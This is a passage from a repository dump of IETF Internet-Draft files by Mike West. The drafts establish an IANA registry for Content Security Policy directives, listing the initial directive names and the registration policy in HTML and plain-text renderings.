\"-\" )\n</pre>\n<p/>\n\n<ul>\n  <li>The directive&#8217;s name, an ASCII string conforming to the <samp>directive-name</samp> rule specified in Section 4.1 of <a href=\"#CSP\">[CSP]</a>. The ABNF <a href=\"#RFC5234\">[RFC5234]</a> is as follows:  <br/><br/> </li>\n  <li>A reference to the readily available public specification defining the new directive&#8217;s syntax, usage, and semantics.</li>\n</ul>\n<p id=\"rfc.section.3.1.p.4\">The following table contains the initial values for this registry:</p>\n<table cellpadding=\"3\" cellspacing=\"0\" class=\"tt full center\">\n  <thead>\n    <tr>\n      <th class=\"left\">Directive Name</th>\n      <th class=\"left\">Reference</th>\n    </tr>\n  </thead>\n  <tbody>\n    <tr>\n      <td class=\"left\">base-uri</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">child-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">connect-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">default-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">font-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">form-action</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">frame-ancestors</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">frame-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">img-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">media-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">object-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">plugin-types</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">report-uri</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">sandbox</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">script-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">style-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.section.3.2\"><a href=\"#rfc.section.3.2\">3.2.</a> <a href=\"#registration-policy-for-content-security-policy-directives\" id=\"registration-policy-for-content-security-policy-directives\">Registration Policy for Content Security Policy directives</a></h1>\n<p id=\"rfc.section.3.2.p.1\">The registration policy for Content Security Policy directives is &#8220;Specification Required&#8221; <a href=\"#RFC5226\">[RFC5226]</a>, which uses a designated expert to review the specification.</p>\n<p id=\"rfc.section.3.2.p.2\">The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision):</p>\n<p/>\n\n<ul>\n  <li>Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property.</li>\n  <li>Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications.</li>\n</ul>\n<h1 id=\"rfc.section.4\"><a href=\"#rfc.section.4\">4.</a> <a href=\"#security-considerations\" id=\"security-considerations\">Security Considerations</a></h1>\n<p id=\"rfc.section.4.p.1\">The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive&#8217;s expected implementation.</p>\n<h1 id=\"rfc.references\"><a href=\"#rfc.references\">5.</a> References</h1>\n<h1 id=\"rfc.references.1\"><a href=\"#rfc.references.1\">5.1.</a> Normative References</h1>\n<table>\n  <tbody>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"CSP\">[CSP]</b>\n      </td>\n      <td class=\"top\"><a title=\"Google, Inc.\">West, M.</a> and <a title=\"Mozilla\">D. Veditz</a>, \"<a href=\"https://w3c.github.io/webappsec-csp/\">Content Security Policy</a>\", n.d..</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5226\">[RFC5226]</b>\n      </td>\n      <td class=\"top\"><a>Narten, T.</a> and <a>H. Alvestrand</a>, \"<a href=\"http://tools.ietf.org/html/rfc5226\">Guidelines for Writing an IANA Considerations Section in RFCs</a>\", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008.</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5234\">[RFC5234]</b>\n      </td>\n      <td class=\"top\"><a>Crocker, D.</a> and <a>P. Overell</a>, \"<a href=\"http://tools.ietf.org/html/rfc5234\">Augmented BNF for Syntax Specifications: ABNF</a>\", STD 68, RFC 5234, January 2008.</td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.references.2\"><a href=\"#rfc.references.2\">5.2.</a> Informative References</h1>\n<table>\n  <tbody>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5341\">[RFC5341]</b>\n      </td>\n      <td class=\"top\"><a>Jennings, C.</a> and <a>V. Gurbani</a>, \"<a href=\"http://tools.ietf.org/html/rfc5341\">The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry</a>\", RFC 5341, DOI 10.17487/RFC5341, September 2008.</td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.appendix.A\"><a href=\"#rfc.appendix.A\">Appendix A.</a> <a href=\"#acknowledgements\" id=\"acknowledgements\">Acknowledgements</a></h1>\n<p id=\"rfc.section.A.p.1\">Much of this document&#8217;s structure comes from <a href=\"#RFC5341\">[RFC5341]</a>. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions.</p>\n<h1 id=\"rfc.authors\">\n  <a href=\"#rfc.authors\">Author's Address</a>\n</h1>\n<div class=\"avoidbreak\">\n  <address class=\"vcard\">\n\t<span class=\"vcardline\">\n\t  <span class=\"fn\">Mike West</span> \n\t  <span class=\"n hidden\">\n\t\t<span class=\"family-name\">West</span>\n\t  </span>\n\t</span>\n\t<span class=\"org vcardline\">Google, Inc</span>\n\t<span class=\"adr\">\n\t  \n\t  <span class=\"vcardline\">\n\t\t<span class=\"locality\"></span> \n\t\t<span class=\"region\"></span>\n\t\t<span class=\"code\"></span>\n\t  </span>\n\t  <span class=\"country-name vcardline\"></span>\n\t</span>\n\t<span class=\"vcardline\">EMail: <a href=\"mailto:mkwst@google.com\">mkwst@google.com</a></span>\n\n<span class=\"vcardline\">URI: <a href=\"https://mikewest.org/\">https://mikewest.org/</a></span>\n\n  </address>\n</div>\n\n</body>\n</html>\n"
  },
  {
    "path": "iana/draft-west-webappsec-csp-reg-03.txt",
    "content": "\n\n\n\nNetwork Working Group                                            M. West\nInternet-Draft                                               Google, Inc\nIntended status: Informational                           October 7, 2015\nExpires: April 9, 2016\n\n\n               Content Security Policy Directive Registry\n                    draft-west-webappsec-csp-reg-03\n\nAbstract\n\n   This document establishes an Internet Assigned Number Authority\n   (IANA) registry for Content Security Policy directives.  It populates\n   the registry with the directives defined in the CSP specification.\n\nStatus of This Memo\n\n   This Internet-Draft is submitted in full conformance with the\n   provisions of BCP 78 and BCP 79.\n\n   Internet-Drafts are working documents of the Internet Engineering\n   Task Force (IETF).  Note that other groups may also distribute\n   working documents as Internet-Drafts.  The list of current Internet-\n   Drafts is at http://datatracker.ietf.org/drafts/current/.\n\n   Internet-Drafts are draft documents valid for a maximum of six months\n   and may be updated, replaced, or obsoleted by other documents at any\n   time.  It is inappropriate to use Internet-Drafts as reference\n   material or to cite them other than as \"work in progress.\"\n\n   This Internet-Draft will expire on April 9, 2016.\n\nCopyright Notice\n\n   Copyright (c) 2015 IETF Trust and the persons identified as the\n   document authors.  All rights reserved.\n\n   This document is subject to BCP 78 and the IETF Trust's Legal\n   Provisions Relating to IETF Documents\n   (http://trustee.ietf.org/license-info) in effect on the date of\n   publication of this document.  Please review these documents\n   carefully, as they describe your rights and restrictions with respect\n   to this document.  Code Components extracted from this document must\n   include Simplified BSD License text as described in Section 4.e of\n   the Trust Legal Provisions and are provided without warranty as\n   described in the Simplified BSD License.\n\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 1]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\nTable of Contents\n\n   1.  Introduction  . . . . . . . . . . . . . . . . . . . . . . . .   2\n   2.  Use of the Registry . . . . . . . . . . . . . . . . . . . . .   2\n   3.  IANA Considerations . . . . . . . . . . . . . . . . . . . . .   2\n     3.1.  Content Security Policy directives Registry . . . . . . .   3\n     3.2.  Registration Policy for Content Security Policy\n           directives  . . . . . . . . . . . . . . . . . . . . . . .   3\n   4.  Security Considerations . . . . . . . . . . . . . . . . . . .   4\n   5.  References  . . . . . . . . . . . . . . . . . . . . . . . . .   4\n     5.1.  Normative References  . . . . . . . . . . . . . . . . . .   4\n     5.2.  Informative References  . . . . . . . . . . . . . . . . .   4\n   Appendix A.  Acknowledgements . . . . . . . . . . . . . . . . . .   5\n   Author's Address  . . . . . . . . . . . . . . . . . . . . . . . .   5\n\n1.  Introduction\n\n   The Content Security Policy specification [CSP] defines a mechanism\n   by which web developers can control the resources which a particular\n   page can fetch or execute, as well as a number of security-relevant\n   policy decisions.\n\n   The policy language specified in that document consists of an\n   extensible set of \"directives\", each of which controls a specific\n   resource type or policy decision.  This specification establishes a\n   registry to ensure that extensions to CSP are listed and\n   standardized.\n\n2.  Use of the Registry\n\n   Content Security Policy directives must be documented in a readily\n   available public specification in order to be registered by IANA.\n   This documentation must fully explain the syntax, intended usage, and\n   semantics of the directive.  The intent of this requirement is to\n   assure interoperable independent implementations, and to prevent\n   accidental namespace collisions between implementations of dissimilar\n   features.\n\n   Documents defining new Content Security Policy directives must\n   register them with IANA, as described in Section 3.  The IANA\n   registration policy for such parameters is \"Specification Required\"\n   [RFC5226], and is further discussed in Section 3.2.\n\n3.  IANA Considerations\n\n   This specification creates a new top-level IANA registry named\n   \"Content Security Policy directives\".\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 2]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\n3.1.  Content Security Policy directives Registry\n\n   New Content Security Policy directives, and updates to existing\n   directives, must be registered with IANA.\n\n   When registering a new Content Security Policy directive, the\n   following information must be provided:\n\n   o  The directive's name, an ASCII string conforming to the\n      \"directive-name\" rule specified in Section 4.1 of [CSP].  The ABNF\n      [RFC5234] is as follows:\n\n\n\n   directive-name  = 1*( ALPHA / DIGIT / \"-\" )\n\n   o  A reference to the readily available public specification defining\n      the new directive's syntax, usage, and semantics.\n\n   The following table contains the initial values for this registry:\n\n                      +-----------------+-----------+\n                      | Directive Name  | Reference |\n                      +-----------------+-----------+\n                      | base-uri        | [CSP]     |\n                      | child-src       | [CSP]     |\n                      | connect-src     | [CSP]     |\n                      | default-src     | [CSP]     |\n                      | font-src        | [CSP]     |\n                      | form-action     | [CSP]     |\n                      | frame-ancestors | [CSP]     |\n                      | frame-src       | [CSP]     |\n                      | img-src         | [CSP]     |\n                      | media-src       | [CSP]     |\n                      | object-src      | [CSP]     |\n                      | plugin-types    | [CSP]     |\n                      | report-uri      | [CSP]     |\n                      | sandbox         | [CSP]     |\n                      | script-src      | [CSP]     |\n                      | style-src       | [CSP]     |\n                      +-----------------+-----------+\n\n3.2.  Registration Policy for Content Security Policy directives\n\n   The registration policy for Content Security Policy directives is\n   \"Specification Required\" [RFC5226], which uses a designated expert to\n   review the specification.\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 3]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\n   The designated expert, when deliberating on whether to include a new\n   directive in the registry, should consider the following criteria.\n   This is not an exhaustive list, but representative of the issues to\n   consider when rendering a decision):\n\n   o  Content Security Policy is a restrictive feature, which allows web\n      developers to deny themselves access to resources and APIs which\n      would otherwise be available.  Deploying Content Security Policy\n      is, therefore, a strict reduction in risk.  The expert should\n      carefully consider whether proposed directives would violate this\n      property.\n\n   o  Granular directives are valuable, but the expert should strive to\n      strike a reasonable balance between providing developers with all\n      the knobs and switches possible, and providing only those with\n      known security implications.\n\n4.  Security Considerations\n\n   The registry in this document does not in itself have security\n   implications.  The directives specified, however, certainly do.  The\n   documents referenced when registering new directives must contain\n   detailed security and privacy considerations sections, and should\n   contain usage information which informs web developers as to the\n   directive's expected implementation.\n\n5.  References\n\n5.1.  Normative References\n\n   [CSP]      West, M. and D. Veditz, \"Content Security Policy\", n.d.,\n              <https://w3c.github.io/webappsec-csp/>.\n\n   [RFC5226]  Narten, T. and H. Alvestrand, \"Guidelines for Writing an\n              IANA Considerations Section in RFCs\", BCP 26, RFC 5226,\n              DOI 10.17487/RFC5226, May 2008,\n              <http://www.rfc-editor.org/info/rfc5226>.\n\n   [RFC5234]  Crocker, D. and P. Overell, \"Augmented BNF for Syntax\n              Specifications: ABNF\", STD 68, RFC 5234, January 2008.\n\n5.2.  Informative References\n\n   [RFC5341]  Jennings, C. and V. Gurbani, \"The Internet Assigned Number\n              Authority (IANA) tel Uniform Resource Identifier (URI)\n              Parameter Registry\", RFC 5341, DOI 10.17487/RFC5341,\n              September 2008, <http://www.rfc-editor.org/info/rfc5341>.\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 4]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\nAppendix A.  Acknowledgements\n\n   Much of this document's structure comes from [RFC5341].  Thank you to\n   Cullen Jennings and Vijay K.  Gurbani for giving me a reasonable\n   template to work within, and to Barry Leiba for his helpful\n   commentary and suggestions.\n\nAuthor's Address\n\n   Mike West\n   Google, Inc\n\n   Email: mkwst@google.com\n   URI:   https://mikewest.org/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 5]\n"
  },
  {
    "path": "iana/draft-west-webappsec-csp-reg-04.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \n  \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\n<html lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n<head profile=\"http://www.w3.org/2006/03/hcard http://dublincore.org/documents/2008/08/04/dc-html/\">\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=us-ascii\" />\n\n  <title>Initial Assignment for a Content Security Policy Directive Registry</title>\n\n  <style type=\"text/css\" title=\"Xml2Rfc (sans serif)\">\n  /*<![CDATA[*/\n\t  a {\n\t  text-decoration: none;\n\t  }\n      /* info code from SantaKlauss at http://www.madaboutstyle.com/tooltip2.html */\n      a.info {\n          /* This is the key. */\n          position: relative;\n          z-index: 24;\n          text-decoration: none;\n      }\n      a.info:hover {\n          z-index: 25;\n          color: #FFF; background-color: #900;\n      }\n      a.info span { display: none; }\n      a.info:hover span.info {\n          /* The span will display just on :hover state. */\n          display: block;\n          position: absolute;\n          font-size: smaller;\n          top: 2em; left: -5em; width: 15em;\n          padding: 2px; border: 1px solid #333;\n          color: #900; background-color: #EEE;\n          text-align: left;\n      }\n\t  a.smpl {\n\t  color: black;\n\t  }\n\t  a:hover {\n\t  text-decoration: underline;\n\t  }\n\t  a:active {\n\t  text-decoration: underline;\n\t  }\n\t  address {\n\t  margin-top: 1em;\n\t  margin-left: 2em;\n\t  font-style: normal;\n\t  }\n\t  body {\n\t  color: black;\n\t  font-family: verdana, helvetica, arial, sans-serif;\n\t  font-size: 10pt;\n\t  max-width: 55em;\n\t  \n\t  }\n\t  cite {\n\t  font-style: normal;\n\t  }\n\t  dd {\n\t  margin-right: 2em;\n\t  }\n\t  dl {\n\t  margin-left: 2em;\n\t  }\n\t\n\t  ul.empty {\n\t  list-style-type: none;\n\t  }\n\t  ul.empty li {\n\t  margin-top: .5em;\n\t  }\n\t  dl p {\n\t  margin-left: 0em;\n\t  }\n\t  dt {\n\t  margin-top: .5em;\n\t  }\n\t  h1 {\n\t  font-size: 14pt;\n\t  line-height: 21pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h1.np {\n\t  page-break-before: always;\n\t  }\n\t  h1 a {\n\t  color: #333333;\n\t  }\n\t  h2 {\n\t  font-size: 12pt;\n\t  line-height: 15pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h3, h4, h5, h6 {\n\t  font-size: 10pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h2 a, h3 a, h4 a, h5 a, h6 a {\n\t  color: black;\n\t  }\n\t  img {\n\t  margin-left: 3em;\n\t  }\n\t  li {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  ol {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  ol p {\n\t  margin-left: 0em;\n\t  }\n\t  p {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  pre {\n\t  margin-left: 3em;\n\t  background-color: lightyellow;\n\t  padding: .25em;\n\t  }\n\t  pre.text2 {\n\t  border-style: dotted;\n\t  border-width: 1px;\n\t  background-color: #f0f0f0;\n\t  width: 69em;\n\t  }\n\t  pre.inline {\n\t  background-color: white;\n\t  padding: 0em;\n\t  }\n\t  pre.text {\n\t  border-style: dotted;\n\t  border-width: 1px;\n\t  background-color: #f8f8f8;\n\t  width: 69em;\n\t  }\n\t  pre.drawing {\n\t  border-style: solid;\n\t  border-width: 1px;\n\t  background-color: #f8f8f8;\n\t  padding: 2em;\n\t  }\n\t  table {\n\t  margin-left: 2em;\n\t  }\n\t  table.tt {\n\t  vertical-align: top;\n\t  }\n\t  table.full {\n\t  border-style: outset;\n\t  border-width: 1px;\n\t  }\n\t  table.headers {\n\t  border-style: outset;\n\t  border-width: 1px;\n\t  }\n\t  table.tt td {\n\t  vertical-align: top;\n\t  }\n\t  table.full td {\n\t  border-style: inset;\n\t  border-width: 1px;\n\t  }\n\t  table.tt th {\n\t  vertical-align: top;\n\t  }\n\t  table.full th {\n\t  border-style: inset;\n\t  border-width: 1px;\n\t  }\n\t  table.headers th {\n\t  border-style: none none inset none;\n\t  border-width: 1px;\n\t  }\n\t  table.left {\n\t  margin-right: auto;\n\t  }\n\t  table.right {\n\t  margin-left: auto;\n\t  }\n\t  table.center {\n\t  margin-left: auto;\n\t  margin-right: auto;\n\t  }\n\t  caption {\n\t  caption-side: bottom;\n\t  font-weight: bold;\n\t  font-size: 9pt;\n\t  margin-top: .5em;\n\t  }\n\t\n\t  table.header {\n\t  border-spacing: 1px;\n\t  width: 95%;\n\t  font-size: 10pt;\n\t  color: white;\n\t  }\n\t  td.top {\n\t  vertical-align: top;\n\t  }\n\t  td.topnowrap {\n\t  vertical-align: top;\n\t  white-space: nowrap; \n\t  }\n\t  table.header td {\n\t  background-color: gray;\n\t  width: 50%;\n\t  }\n\t  table.header a {\n\t  color: white;\n\t  }\n\t  td.reference {\n\t  vertical-align: top;\n\t  white-space: nowrap;\n\t  padding-right: 1em;\n\t  }\n\t  thead {\n\t  display:table-header-group;\n\t  }\n\t  ul.toc, ul.toc ul {\n\t  list-style: none;\n\t  margin-left: 1.5em;\n\t  margin-right: 0em;\n\t  padding-left: 0em;\n\t  }\n\t  ul.toc li {\n\t  line-height: 150%;\n\t  font-weight: bold;\n\t  font-size: 10pt;\n\t  margin-left: 0em;\n\t  margin-right: 0em;\n\t  }\n\t  ul.toc li li {\n\t  line-height: normal;\n\t  font-weight: normal;\n\t  font-size: 9pt;\n\t  margin-left: 0em;\n\t  margin-right: 0em;\n\t  }\n\t  li.excluded {\n\t  font-size: 0pt;\n\t  }\n\t  ul p {\n\t  margin-left: 0em;\n\t  }\n\t\n\t  .comment {\n\t  background-color: yellow;\n\t  }\n\t  .center {\n\t  text-align: center;\n\t  }\n\t  .error {\n\t  color: red;\n\t  font-style: italic;\n\t  font-weight: bold;\n\t  }\n\t  .figure {\n\t  font-weight: bold;\n\t  text-align: center;\n\t  font-size: 9pt;\n\t  }\n\t  .filename {\n\t  color: #333333;\n\t  font-weight: bold;\n\t  font-size: 12pt;\n\t  line-height: 21pt;\n\t  text-align: center;\n\t  }\n\t  .fn {\n\t  font-weight: bold;\n\t  }\n\t  .hidden {\n\t  display: none;\n\t  }\n\t  .left {\n\t  text-align: left;\n\t  }\n\t  .right {\n\t  text-align: right;\n\t  }\n\t  .title {\n\t  color: #990000;\n\t  font-size: 18pt;\n\t  line-height: 18pt;\n\t  font-weight: bold;\n\t  text-align: center;\n\t  margin-top: 36pt;\n\t  }\n\t  .vcardline {\n\t  display: block;\n\t  }\n\t  .warning {\n\t  font-size: 14pt;\n\t  background-color: yellow;\n\t  }\n\t\n\t\n\t  @media print {\n\t  .noprint {\n\t\tdisplay: none;\n\t  }\n\t\n\t  a {\n\t\tcolor: black;\n\t\ttext-decoration: none;\n\t  }\n\t\n\t  table.header {\n\t\twidth: 90%;\n\t  }\n\t\n\t  td.header {\n\t\twidth: 50%;\n\t\tcolor: black;\n\t\tbackground-color: white;\n\t\tvertical-align: top;\n\t\tfont-size: 12pt;\n\t  }\n\t\n\t  ul.toc a::after {\n\t\tcontent: leader('.') target-counter(attr(href), page);\n\t  }\n\t\n\t  ul.ind li li a {\n\t\tcontent: target-counter(attr(href), page);\n\t  }\n\t\n\t  .print2col {\n\t\tcolumn-count: 2;\n\t\t-moz-column-count: 2;\n\t\tcolumn-fill: auto;\n\t  }\n\t  }\n\t\n\t  @page {\n\t  @top-left {\n\t\t   content: \"Internet-Draft\"; \n\t  } \n\t  @top-right {\n\t\t   content: \"December 2010\"; \n\t  } \n\t  @top-center {\n\t\t   content: \"Abbreviated Title\";\n\t  } \n\t  @bottom-left {\n\t\t   content: \"Doe\"; \n\t  } \n\t  @bottom-center {\n\t\t   content: \"Expires June 2011\"; \n\t  } \n\t  @bottom-right {\n\t\t   content: \"[Page \" counter(page) \"]\"; \n\t  } \n\t  }\n\t\n\t  @page:first { \n\t\t@top-left {\n\t\t  content: normal;\n\t\t}\n\t\t@top-right {\n\t\t  content: normal;\n\t\t}\n\t\t@top-center {\n\t\t  content: normal;\n\t\t}\n\t  }\n  /*]]>*/\n  </style>\n\n  <link href=\"#rfc.toc\" rel=\"Contents\"/>\n<link href=\"#rfc.section.1\" rel=\"Chapter\" title=\"1 Introduction\"/>\n<link href=\"#rfc.section.2\" rel=\"Chapter\" title=\"2 Use of the Registry\"/>\n<link href=\"#rfc.section.3\" rel=\"Chapter\" title=\"3 IANA Considerations\"/>\n<link href=\"#rfc.section.3.1\" rel=\"Chapter\" title=\"3.1 Content Security Policy directives Registry\"/>\n<link href=\"#rfc.section.3.2\" rel=\"Chapter\" title=\"3.2 Registration Policy for Content Security Policy directives\"/>\n<link href=\"#rfc.section.4\" rel=\"Chapter\" title=\"4 Security Considerations\"/>\n<link href=\"#rfc.references\" rel=\"Chapter\" title=\"5 References\"/>\n<link href=\"#rfc.references.1\" rel=\"Chapter\" title=\"5.1 Normative References\"/>\n<link href=\"#rfc.references.2\" rel=\"Chapter\" title=\"5.2 Informative References\"/>\n<link href=\"#rfc.appendix.A\" rel=\"Chapter\" title=\"A Acknowledgements\"/>\n<link href=\"#rfc.authors\" rel=\"Chapter\"/>\n\n\n  <meta name=\"generator\" content=\"xml2rfc version 2.4.7 - http://tools.ietf.org/tools/xml2rfc\" />\n  <link rel=\"schema.dct\" href=\"http://purl.org/dc/terms/\" />\n\n  <meta name=\"dct.creator\" content=\"West, M.\" />\n  <meta name=\"dct.identifier\" content=\"urn:ietf:id:draft-west-webappsec-csp-reg-04\" />\n  <meta name=\"dct.issued\" scheme=\"ISO8601\" content=\"2015-11-20\" />\n  <meta name=\"dct.abstract\" content=\"This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives, and populates that registry with the directives defined in the Content Security Policy Level 2 specification.\" />\n  <meta name=\"description\" content=\"This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives, and populates that registry with the directives defined in the Content Security Policy Level 2 specification.\" />\n\n</head>\n\n<body>\n\n  <table class=\"header\">\n    <tbody>\n    \n    \t<tr>\n  <td class=\"left\">Network Working Group</td>\n  <td class=\"right\">M. West</td>\n</tr>\n<tr>\n  <td class=\"left\">Internet-Draft</td>\n  <td class=\"right\">Google, Inc</td>\n</tr>\n<tr>\n  <td class=\"left\">Intended status: Informational</td>\n  <td class=\"right\">November 20, 2015</td>\n</tr>\n<tr>\n  <td class=\"left\">Expires: May 23, 2016</td>\n  <td class=\"right\"></td>\n</tr>\n\n    \t\n    </tbody>\n  </table>\n\n  <p class=\"title\">Initial Assignment for a Content Security Policy Directive Registry<br />\n  <span class=\"filename\">draft-west-webappsec-csp-reg-04</span></p>\n  \n  <h1 id=\"rfc.abstract\">\n  <a href=\"#rfc.abstract\">Abstract</a>\n</h1>\n<p>This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives, and populates that registry with the directives defined in the Content Security Policy Level 2 specification.</p>\n<h1 id=\"rfc.status\">\n  <a href=\"#rfc.status\">Status of This Memo</a>\n</h1>\n<p>This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.</p>\n<p>Internet-Drafts are working documents of the Internet Engineering Task Force (IETF).  Note that other groups may also distribute working documents as Internet-Drafts.  The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.</p>\n<p>Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time.  It is inappropriate to use Internet-Drafts as reference material or to cite them other than as \"work in progress.\"</p>\n<p>This Internet-Draft will expire on May 23, 2016.</p>\n<h1 id=\"rfc.copyrightnotice\">\n  <a href=\"#rfc.copyrightnotice\">Copyright Notice</a>\n</h1>\n<p>Copyright (c) 2015 IETF Trust and the persons identified as the document authors.  All rights reserved.</p>\n<p>This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document.  Please review these documents carefully, as they describe your rights and restrictions with respect to this document.  Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.</p>\n\n  \n  <hr class=\"noprint\" />\n  <h1 class=\"np\" id=\"rfc.toc\"><a href=\"#rfc.toc\">Table of Contents</a></h1>\n  <ul class=\"toc\">\n\n  \t<li>1.   <a href=\"#rfc.section.1\">Introduction</a></li>\n<li>2.   <a href=\"#rfc.section.2\">Use of the Registry</a></li>\n<li>3.   <a href=\"#rfc.section.3\">IANA Considerations</a></li>\n<li>3.1.   <a href=\"#rfc.section.3.1\">Content Security Policy directives Registry</a></li>\n<li>3.2.   <a href=\"#rfc.section.3.2\">Registration Policy for Content Security Policy directives</a></li>\n<li>4.   <a href=\"#rfc.section.4\">Security Considerations</a></li>\n<li>5.   <a href=\"#rfc.references\">References</a></li>\n<li>5.1.   <a href=\"#rfc.references.1\">Normative References</a></li>\n<li>5.2.   <a href=\"#rfc.references.2\">Informative References</a></li>\n<li>Appendix A.   <a href=\"#rfc.appendix.A\">Acknowledgements</a></li>\n<li><a href=\"#rfc.authors\">Author's Address</a></li>\n\n\n  </ul>\n\n  <h1 id=\"rfc.section.1\"><a href=\"#rfc.section.1\">1.</a> <a href=\"#introduction\" id=\"introduction\">Introduction</a></h1>\n<p id=\"rfc.section.1.p.1\">The Content Security Policy specification <a href=\"#CSP\">[CSP]</a> defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.</p>\n<p id=\"rfc.section.1.p.2\">The policy language specified in that document consists of an extensible set of &#8220;directives&#8221;, each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized.</p>\n<h1 id=\"rfc.section.2\"><a href=\"#rfc.section.2\">2.</a> <a href=\"#use-of-the-registry\" id=\"use-of-the-registry\">Use of the Registry</a></h1>\n<p id=\"rfc.section.2.p.1\">Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features.</p>\n<p id=\"rfc.section.2.p.2\">Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is &#8220;Specification Required&#8221; <a href=\"#RFC5226\">[RFC5226]</a>, and is further discussed in Section 3.2.</p>\n<h1 id=\"rfc.section.3\"><a href=\"#rfc.section.3\">3.</a> <a href=\"#iana-considerations\" id=\"iana-considerations\">IANA Considerations</a></h1>\n<p id=\"rfc.section.3.p.1\">This specification creates a new top-level IANA registry named &#8220;Content Security Policy directives&#8221;.</p>\n<h1 id=\"rfc.section.3.1\"><a href=\"#rfc.section.3.1\">3.1.</a> <a href=\"#content-security-policy-directives-registry\" id=\"content-security-policy-directives-registry\">Content Security Policy directives 